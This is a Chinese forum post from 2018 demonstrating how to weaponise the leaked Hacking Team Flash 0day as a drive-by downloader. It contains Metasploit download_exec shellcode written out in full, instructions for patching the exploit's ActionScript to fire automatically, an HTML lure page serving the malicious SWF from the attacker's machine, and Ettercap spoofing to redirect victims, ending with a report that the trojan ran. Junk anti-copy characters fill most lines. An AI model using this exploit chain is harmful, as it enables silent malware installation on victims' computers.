|
' U* B" {: ^, V( v
三、flash 0day之手工代码修改制作下载者实例入侵演示
7 o5 T! ]# L; h, N
m# A* r D1 R' n' U
! v* X. e4 q8 r4 W4 K, s, g 利用到的工具： 3 R# G9 u& j- j* X$ o6 H
: G% d% O; e: c' e
0 ^8 |3 g& f4 ^6 G5 J: B, L8 F, p ] Msf A2 @: T. N+ \: _ x
+ K4 C4 K3 I' I4 `( {/ [
0 z& @- H7 J! I' m Ettercap
7 X% B" h9 B5 E6 Q3 U2 Z
" b' m% o& b$ z1 W; F, v8 q! n% t0 X! p$ a0 s% X6 m4 b
Adobe Flash CS6 4 s& _! [3 m1 x5 o! `9 C* \
$ u: }- x0 J0 q2 m( E
( x3 q7 K/ C2 G/ b; p Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 & }3 o% ^# x: @: A2 @) Q
- b: P' g0 m) [( g8 p( ]* U8 s
8 O! }. F! q) d* s; K( I* E* ~ 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options
+ ~- F* Y2 h$ h) T. h
3 s5 O( s0 t' S8 |, ^
% G+ Z4 F( l1 ~9 V. F 如图： % {9 c# K2 Y! ?4 L
) u/ M, s- W& a1 m, T% Y4 a
% C8 x/ E" C( T: r5 _
& ~: B( c- p! @: m4 K3 T
) j; }, H9 F: j5 @: E# h. J" b( J8 L3 Z- B& [% x- k2 n' C
 8 J+ R! w" t; M: Y4 `( S, [
6 m K+ M6 Z6 Q0 B! [
9 _, o( g4 I7 @. h; j& R/ o 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图:
0 f# o3 C& p5 m, S6 s' O 5 u3 V& d# x$ C# M a3 f
) y3 H% {, W% N8 c
: L# I' R8 n! @/ O3 j1 e; }' T9 U
8 z7 ]/ `( }6 x4 J$ B/ s- H( H2 c' V# S3 ~3 M$ V
2 P" { B( U/ ?* o4 ^$ C) \ 2 R/ L& j! r. E4 n" B6 ^, ~
" S0 O; \9 c p5 n5 M. Y& u4 X
然后执行generate -t dword生成shellcode，如下： * Z+ T/ o8 i& h+ E% @
* ^& \: T+ m/ X2 |
# _. T" B. w% R) Z* e) a1 ~ 
. \( S& |+ o5 f6 R$ c! z* i, C / t/ ^, ]. |5 e1 M) x5 ~$ c
: i8 O3 v/ }# x, d; _* z- \- d$ \9 v7 c
复制代码到文本下便于我们一会编辑flash exp，如下：
3 p* w. B& p) i* b' u* D6 j
' H" _$ C0 |- m2 F& S6 z" b7 j$ f
# v" \4 ?' c3 Q% }9 r 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, ; v- c. e. V$ ^* o, o. e
. d/ n, d. r, Z& t s
5 n7 f0 }. ]* z+ \! E8 _ L 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
/ \- ^# D& O9 b, m. H7 t
( y- B, T4 c; u# q" T8 Z. p. k( s9 ?
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
. t, @( m8 K9 U, {0 b1 Z/ | " u+ Z6 B- ~. d; G% u) u8 ~
7 h+ Y3 X" [2 Y! i9 L* v8 I
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
/ C! P! v3 i5 G& o: d " a, d/ j- a3 T F' b1 d
1 t: ~9 @7 l& _
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, : d0 F# l9 K6 ?: p+ {( C
% o( C. I+ g. H. a4 w
" ?" _$ ~, R. z- d' J' y- L4 O
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
, w0 @3 V4 z; E) t. p7 z+ x
, m# a1 Y& e/ g5 b6 I# c$ l2 P( `0 {9 K, a2 @/ t
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, - A1 Z% F; n0 i7 n/ e
3 R& p& K1 K5 ~$ M
" Y3 Q6 K* R2 I 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
# h5 D0 r5 s/ `+ l0 P, r* D 5 X' [# R) V, E$ P+ d
3 I+ C# f' E3 y* r$ X& C: A
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
8 w2 C4 N- W s, s; g+ [ & @$ J: H" Z5 E3 D: m' K4 d
& O, E" H0 u& P6 W: G% }. J 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
6 f! h; @; J) D# V
/ {1 C# A, m2 t
/ v0 ^, f0 l- ^( C 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
: [# B/ E$ a* R: A* L
" T- y, q: S. V; S, C9 v1 Z# k: [4 s; }/ c: \6 E+ g$ b6 l. G
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
7 T) G* A5 m9 x3 j 1 C L" t8 E/ t/ R
$ E! [0 h4 T6 Y
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, % h3 R' \- A8 u; [7 ` z L# @
' Y! e$ n5 R& \! q, A4 c) }% p
, }, _5 J, r9 [5 @- ]5 n: P- Q
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 ! P4 p: |4 L+ n; h& l% ^! N2 \
0 V2 y; {) J3 e% k; W" p
' F4 s$ G4 @. o! |
0 W$ V2 W& t) ^$ P9 \( i: `; H4 Y t
9 ~( L* e1 P- Q, p; c8 z7 k6 {; X9 j2 ?7 X% G3 q P6 {' t. z
& {* b1 l7 m; A
& m/ i" e2 [% s
8 f) G6 k( R+ N
下面我们来修改flash 0day exp，需要修改三个文件，分别为：
& T# e+ D( S1 G9 W# S " Z$ l6 F2 v" [# p" g4 ^0 U: S7 ~) P
- n8 J9 F) Z# |2 h5 d4 L5 G& U
 , k' \( Y! m2 k) I) b
4 F. `* B& q \; Q& v
9 p8 a3 ^5 e* T4 H5 ^8 y# y$ \: d 先修改ShellWin32.as，部分源代码如图： 0 j, y3 ~" z% B- V
( b, v0 e8 R6 ~% B8 n
4 p, N- c. j! G  ) o. ~9 }! d [
3 L- U1 I5 R9 V7 |
1 g( V4 f9 s; |3 v; |4 G/ \3 F1 B
我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：
Q$ u) a; M: B( U , I2 [% \ W4 T0 q3 _# X! G) a
' H ~% \/ }# P4 o* B5 H 
( G) V0 C1 m! }1 g: ?/ o 9 s6 V% M' N% s. H; \
; X G7 ^# H. ?) w4 S4 h s 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图：
% h9 `5 v( o' C, `5 B1 `0 u . [% h( W, O! ^4 n5 i
' D7 J$ m1 S, b, Z& S) L* L% X" w 
: t* V3 k' I! i 5 @" L. \6 h: h3 I
, \8 I4 X" s8 O* _5 \4 r; Z 换行在后面加一句TryExpl();注意是l不是数字1，然后如图：
[2 g& y5 Y0 D. e; u: ?) y 6 u* g8 u3 S& v- Y& N
( N& d C" c7 ^1 ?$ w
( v8 v; W9 b# v9 b; j. f
! k4 A; x" E' B( M/ u) ~3 q( V
! ]+ G$ P0 J2 {; {' i: k
- Z2 j _" J0 A0 Z8 N) Y0 o5 I! P
 6 _" w* \5 n$ Y$ G) E3 B
0 X2 ^4 n" M8 A6 x* c8 n
! K. \4 y9 F0 q1 Q- x& C! Z
然后点保存，下面我们来编译一下，打开 ' t" v8 J7 o% ~
& B% J, S/ a; j# @* X5 E( j& L7 j% K
5 H+ k) c- M# u' }0 p exp1.fla然后点文件-发布，看看编译没错误
" W2 x( K p. B
: U: g! B+ f! s* P; M
7 T7 o0 ~0 T/ g ]8 M" v
5 {0 ^( E; x" a Y2 ]& {: Q* H
6 I& s" y5 `3 g% A# t& V2 a" S- d' B: T6 V( j* h N9 q$ i
' U! ?" h C( ^/ U
+ J6 N. s. `) m
, |% x! |2 I- Y! d& l
/ B% j# i1 c4 S1 |$ B % C6 n* `/ K2 v3 O
8 K' }0 }1 J# f5 ^ h) a8 N
& e+ W' @7 k; r: l3 f9 d
; @( z- t: g6 C9 p
5 s3 r% a2 L5 X& |' K 然后我们把生成的 . \! O( P% h6 N2 z, {
2 G3 l) J4 s5 }, a$ v" ?
0 A; \! P( C) }- e" x exp1.swf丢到kailinux 的/var/www/html下：
" H/ [, a5 E) o [
* r+ W4 h4 U# h% H& K6 V& j5 J8 t4 `9 \
然后把这段代码好好编辑一下
$ z8 C/ `; i" s( q& F7 _. | % z# K6 }. u/ m& x- m; A
! K) p+ [" f% i- t1 l- Q( W
, Q( P" O& c! p) n2 [
2 d" O: `, @9 D
4 u3 z+ S. T6 E9 o+ ?+ X 6 Y* U! c4 ]8 ^0 o- E
3 R% g- G# @: k K( `, y9 L
$ O4 u' X0 e3 P, i0 g
- r$ Z7 s, Z+ M0 s
/ ]( `' y4 P3 x
4 e6 o4 H$ C3 g
4 `( l( e3 H$ W, f1 ^2 C
/ p7 w+ f; P4 {
2 L- p: _! }# W1 U
+ r/ N; D( X/ _4 o) \1 T
|" e+ O$ i P( b/ L8 F e+ L+ q: r- }$ B1 ^+ z! ^8 ?6 x: H8 u( G
* S5 x$ s& d8 {- W# m4 \. w
3 m+ s- u, F$ ~: N9 \9 ?
8 O2 |# f4 J8 E4 w2 p5 ? <!DOCTYPE html>
2 x6 p+ N* }% A. O* D8 K1 i ! S0 z2 o6 Q" d9 T1 _
0 B0 }9 a8 `* ]& f. ~/ l- K1 b) W
<html>
: t8 q! g- N5 ~2 b- p
( }5 N; z3 M9 h% j( I# q* ?. l8 G
& N& N& w3 O9 y# V <head>
) ?: ?+ I* Y' O( l 8 l' a3 _, i7 D! l1 E7 G# _
2 q! T$ H+ A3 x) S% ?9 M o9 C
<meta http-equiv="Content-Type" content="text/html;
9 _& ~" E( r$ D% k& { " \3 k" N' w% G# k6 }2 Y
5 L0 b( R5 x. Q+ S6 \) k
charset=utf-8"/>
8 e# p# u1 u7 P, K . A$ y- b, s% ~& \: n% ]+ u" N
K9 N* t! }$ g0 X' N( M- o9 i </head> ( R: x/ O7 K+ X: b7 Q7 I( J- H
6 y j4 }0 P. N3 j
7 v8 d" R/ U. C# e7 G- c1 u! p <body>
" ?1 C; ?/ |0 b% p9 V* N
- {& k! x# h8 r8 j1 z3 O( O" u/ S N9 q; Z. f! X
<h2> Please wait, the requested page is loading...</h2> ! k2 B0 g9 N+ T
1 E! @9 j# B; T) `+ ?6 B7 f* a4 Z, k0 K+ \
<br>
9 F/ y# b, D! [
, d9 ?' X- g% P0 u) f% _* q6 s7 {
<OBJECT
7 L6 X$ R U2 _* t , z' t' @/ A1 g
- E: V: Q' I/ S1 Y, d" F9 Z0 E2 U
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie 4 y9 ^3 F" B G0 \8 F6 |
# t* o& T5 m G$ E' x$ c6 g2 S% s6 e) e! T& p' \( l" G
VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
: N' x# Y3 n- v; o# u, f: m
! h2 _# s5 R# V- p5 N2 m3 K, h/ J/ ~8 H
</body>
6 J' [" L- g6 Q! d9 U/ ?: B , `7 D7 D0 h+ b g. ]- M+ V$ t' p
9 l6 z) `9 l/ i( `. b3 w* q. A <script> 9 N; ^$ X& d, a& j5 \
$ Z8 [7 J1 V9 _5 K
! Y2 ^$ Z, b' Y6 I2 w, C9 T. `+ U! c0 N setTimeout(function () { ) s( V# o- V! w# ]( ~
* `0 z M4 P& O7 v- e
7 i* }. i5 d1 n3 c- O
4 x$ E1 j, ]3 P$ c6 g( p7 k/ S
8 d% u! K" C* Y) p1 d& m5 u/ A% o* L4 ]+ E
window.location.reload(); ' ?1 w7 X6 \% c6 b
' s* a6 b; F7 e# `5 k) U
4 I6 F. a- x& S) g& t }, 10000); $ r) k; C" j* W& \
# a7 e# o' C, X8 p- b+ e. E
9 N8 A* ]7 j8 i
+ Y; o6 W& _( |' L) v
7 b5 f" V* K' g3 D7 T) P5 ^0 M, s/ R7 w' m. v
</script> ( Q" R% G$ ?& r9 z2 |) s! c
, c$ I7 R Z. \# W. R$ o; h5 a: ~1 G8 l y. ], K! o
</html> + p" s! c% k7 ?" G3 Q
! v U1 b- x+ A. ~+ T4 {' l/ a7 \/ e) A8 U
' Y1 Y1 w( A' j* r$ u4 N5 p) S: _% j 0 P6 z& X& _6 M8 W6 e/ v
" R# q4 \, N- w4 N! \" c
注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：
* S. l3 t6 j" i5 A
; U4 [+ e `* ?3 f1 i
" ~% o. K1 s/ V/ i5 b  ( t; z) C/ P. [5 V9 a1 _% ^
. S+ `; x# l0 @! @3 ?
( E: L7 o* I+ N" a) ]: d: K
& v8 D* P, _& h+ M- \" ~$ d & f7 X% ^0 i- Z# F
6 f! |0 h3 e6 U7 i
o8 D" P6 |- Q# l5 K $ t& E) B4 U* E! N
6 h; [& |' \% n- Y& ^2 M
: g; o$ t: H) r$ Q2 O/ a! b ; C, t$ W" D- _; r+ C d5 K' h
8 i" o ?3 @8 K, K
3 U2 U' a1 X( V( D/ Z/ R1 p
; k3 |/ K- j0 f+ t' d( S R
' ?0 I2 l% k8 G0 Q8 S* ~ 下面我们用ettercap欺骗如图：
4 O( s+ U+ C) l! L
) W0 l( ?" f; n
6 A7 N2 c4 K6 r6 |: P s, G0 x0 q8 c 
3 J# l5 `/ B2 {* A- x) f 4 K4 `, D- d" _7 T; C7 \2 [8 ?; s1 l
! S% r; p( a( q( ~5 ], l, H2 F. { # p6 [9 d: l& Y/ @) S" r
+ z" w3 Z# E" g+ z D, {1 I
, g: U' E1 j1 V( c2 s5 ?/ Q
下面我们随便访问个网站看看：
# y* _7 ]1 q9 ~3 J8 w# x % Q! \9 l! k6 K' t' T* }& [0 i
! S: k& K6 \2 h3 W+ I _* j
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图：
& k2 o' [: t1 r3 k' y" I
' V/ M6 y( z& ?$ m: ^ K/ c) q( M/ ?1 o9 T4 \# p
2 S+ f0 F J0 t, h; f3 I
6 G8 \- r6 K. u8 J* H8 m$ U1 a- o& K+ N5 }1 x! p: ~: Z+ u- ]
我们看另一台，
. O5 ?4 C$ y4 f7 ]& k
8 p# y0 {, a* z0 V l
" |' g# D; B) t/ I& o 提示这个错误，说明木马是成功被下载执行了， 只是由于某些原因没上线而已。。。 - h& z& q) M2 y* S. c, B2 h
| 
发表于 2018-10-20 20:28:55
收藏
支持
反对